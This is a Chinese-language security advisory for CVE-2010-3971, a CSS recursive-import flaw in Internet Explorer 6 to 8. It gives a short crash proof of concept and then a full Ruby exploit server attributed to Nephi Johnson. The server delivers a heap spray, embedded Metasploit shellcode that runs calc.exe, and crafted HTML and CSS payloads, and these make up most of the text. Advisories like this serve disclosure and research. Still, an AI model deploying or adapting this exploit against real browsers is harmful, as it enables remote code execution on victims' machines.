发布日期：2010-12-08
更新日期：2010-12-09

受影响系统：

Microsoft Internet Explorer 8.0
Microsoft Internet Explorer 7.0
Microsoft Internet Explorer 6.0

描述：

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BUGTRAQ  ID: 45246
CVE ID: CVE-2010-3971

Internet Explorer是Windows操作系统中默认捆绑的WEB浏览器。

IE处理CSS的实现上存在漏洞，远程攻击者可能利用此漏洞通过诱使用户访问恶意网页在系统上执行任意指令或导致拒绝服务。

此漏洞源于IE中处理CSS文件的引用时存在的问题，任何访问包含非法CSS引用的页面导致IE崩溃或执行代码。

<*来源：WooYun
  
  链接：http://www.breakingpointsystems.com/community/blog/ie-vulnerability/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

poc.htm
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />

css.css
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

Nephi Johnson提供了如下的漏洞利用代码：

#!/usr/bin/env ruby

require 'socket'

def http_send(sock, data, opts={})
    defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
    opts = defaults.merge(opts)
    
    code = opts[:code]
    message = opts[:message]
    type = opts[:type]
    
    to_send = "HTTP/1.1 #{code} #{message}\r\n" +
              "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" +
              "Cache-Control: no-cache\r\n" +
              "Content-Type: #{type}\r\n" +
              "Pragma: no-cache\r\n" +
              "Content-Length: #{data.length}\r\n\r\n" +
              "#{data}"
    puts "[+] Sending:"
    to_send.split("\n").each do |line|
        puts "    #{line}"
    end
    sock.write(to_send) rescue return false
    return true
end

def sock_read(sock, out_str, timeout=5)
    begin
        if Kernel.select([sock],[],[],timeout)
            out_str.replace(sock.recv(1024))
            puts "[+] Received:"
            out_str.split("\n").each do |line|
                puts "    #{line}"
            end
        else
            sock.close
            return false
        end
    rescue Exception => ex
        return false
    end
end

def to_uni(str)
    res = ""
    str.each_byte do |b|
        res << "\x00#{b.chr}"
    end
    res
end

@css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s"
@html_name = "test.html"
placeholder = "a" * (@css_name.length/2)

@html = <<-HTML
    <script>
    function dup_str(str, length) {
        var res = str;
        while(res.length < length) {
            res += res;
        }
        res = res.substr(res.length - length);
        return res;
    }
    
    function to_bin(str) {
        var res = "";
        while(str.length > 0) {
            var first = str.substr(0, 2);
            var second = str.substr(2, 2);
            res += "%u" + second + first;
            str = (str.length > 4) ? str.substr(4) : "";
        }
        return unescape(res);
    }

    // first heap spray
    var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6);
    var arr = []
    for(var i = 0; i < 60000; i++) {
        arr[i] = ["" + base].join("");
    }
    
    // second heap spray w/ shellcode
    var nops = dup_str(to_bin("0c0c0c0c"), 4096+6);
    
    // windows/exec - 200 bytes
    // http://www.metasploit.com
    // EXITFUNC=process, CMD=calc.exe
    var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +
                             "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
                             "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
                             "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +
                             "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
                             "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
                             "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +
                             "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
                             "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +
                             "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +
                             "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +
                             "%u6c61%u2e63%u7865%u0065");
    var arr2 = [];
    for(var i = 0; i < 30000; i++) {
        arr2[i] = [nops + shellcode].join("");
    }
    
    // write the link to the stylesheet
    var link = document.createElement("link");
    link.setAttribute("rel", "Stylesheet");
    link.setAttribute("type", "text/css");
    link.setAttribute("href", "#{placeholder}")
    document.getElementsByTagName("head")[0].appendChild(link);
    </script>
HTML
@html = "\xfe\xff" + to_uni(@html)
@html.gsub!(to_uni(placeholder), @css_name)

@css = <<-CSS
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
CSS
@css = "\xfe\xff" + to_uni(@css)
@css.gsub!(to_uni(placeholder), @css_name)

@index = <<-INDEX
<a href="#{@html_name}">#{@html_name}</a>
INDEX

TCPServer.open(55555) do |srv|
    while true
        cli = srv.accept
        req = ""
        html = ""
        css = ""
        index = ""
        next unless sock_read(cli, req, 5)
        while req.length > 0
            if req =~ /GET/
                if req =~ /GET.*#{Regexp.escape(@html_name)}/
                    break unless http_send(cli, @html, :type=>"text/html")
                elsif req =~ /GET.*index/
                    break unless http_send(cli, @index)
                elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
                    break unless http_send(cli, @css, :type=>"text/css")
                else
                    break unless http_send(cli, @css, :type=>"text/css")
                end
            elsif req =~ /QUIT/
                exit()
            end
            req = ""
            next unless sock_read(cli, req, 5)
        end
        cli.close rescue next
    end
end

建议：

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厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/windows/ie/default.asp

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